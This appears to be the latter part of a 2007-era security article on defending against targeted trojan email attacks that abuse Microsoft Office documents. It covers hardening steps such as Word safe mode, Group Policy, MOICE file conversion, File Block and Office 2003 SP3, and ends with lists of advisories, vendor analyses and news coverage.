Certain end user applications can also be hardened. For example, when a major vulnerability in Microsoft Office was reported in June of 2006, Microsoft recommended starting Word in the so-called safe mode. This special modus operandi did not load the functionality required to exploit this vulnerability in the parsing of object pointers. While this is likely to be a major inconvenience to users, measures such as these can be considered when the network is under active attack. Using Group Policy Objects (GPOs), this measure can when necessary be pushed out to a wide enterprise at short notice.
Recognizing the emerging threats its customers face, Microsoft has released several tools which can help protect organizations highly dependent on Office document formats for business communication.
In June of 2007, Microsoft released its Office Isolated Conversion Environment (MOICE). This tool uses the Office file conversion tools to automatically convert Office 2003 binary documents to the Office Open XML format. As this latter format is more recent and has gone through significantly more quality assurance (including Microsoft.s Secure Development Lifecycle), it allows organizations to place more trust in the resulting files. These can then be opened safely in recent Office versions.
Just prior to this release, Microsoft also made available File Block functionality which allows administrators to use registry settings and GPO objects to disable the opening of specific Office file types. This allows IT teams to enforce the prohibition of older Office types, which could contain malicious code by means of Office document exploits or embedded objects, and force local machines to convert the files prior to opening. The advantage of both tools is that they also protect against several .zero day. attack vectors, and are not just limited to the known Office parsing vulnerabilities.
Late September 2007, Microsoft also released service pack 3 for Office 2003, which further limited attack surface by preventing the opening of very old (pre-97) Powerpoint documents. In addition, it implemented more stringent control measures on older COM components: administrators can now regulate their use through the registry or Group Policy objects, and implemented additional checks to ensure they are well coded. More specifically, they must only respond to the QueryInterface() method with interfaces the component actually implements.
Anti virus signatures related to these attacks
Below is an overview of some of the anti virus signature names assigned to some of the targeted attack samples we have investigated:
Trojan (detected on the infected system):
Dropper (detected on the gateway):
Links and further information[back]
US Department of Energy CIAC: P-256 Targeted attacks
NISCC Briefing 08/2005 on Targeted Trojan Email attacks
DSD Advisory DA-2005-01 on Targeted Trojan Email attacks
US Department of Homeland Security Joint Information Bulletin on trojan attacks
US CERT Technical Cyber Security Alert TA05-189A: Targeted trojan e-mail attacks
Public Safety Canada: Targeted Trojan E-mail attacks
Analysis by security companies
iDefense on Targeted Attacks and their impact
GFI on Targeted Cyber Attacks
Panda Software on Protection of Corporate Networks against Targeted Attacks
MessageLabs Intelligence Special Report: Targeted Attacks March 2007
Secure Computing on stopping the targeted attack
VIDEO by Mikko Hypponen of F-Secure on targeted attacks
LURHQ on Targeted Trojans
Vendors providing specific anti-targeted attack protection
Avinti iSolation server uses an observation server to scrutinize potential malware
Counterstorm is a network-based IPS with specific features it claims protect against targeted attacks
Coverage on well-known attacks
April 19th 2007 House Committee hearing on Cyber Insecurity (State Department hack)
Financialcryptography.com on Israeli Bezeq spy scandal
MSNBC: Israel espionage case points to biggest Net threat - Targeted spy attacks could soon be common
Slashdot on UK critical infrastructure targeted attacks
Detecting Targeted Attacks Using Shadow Honeypots by UPenn, FORTH and Columbia scholars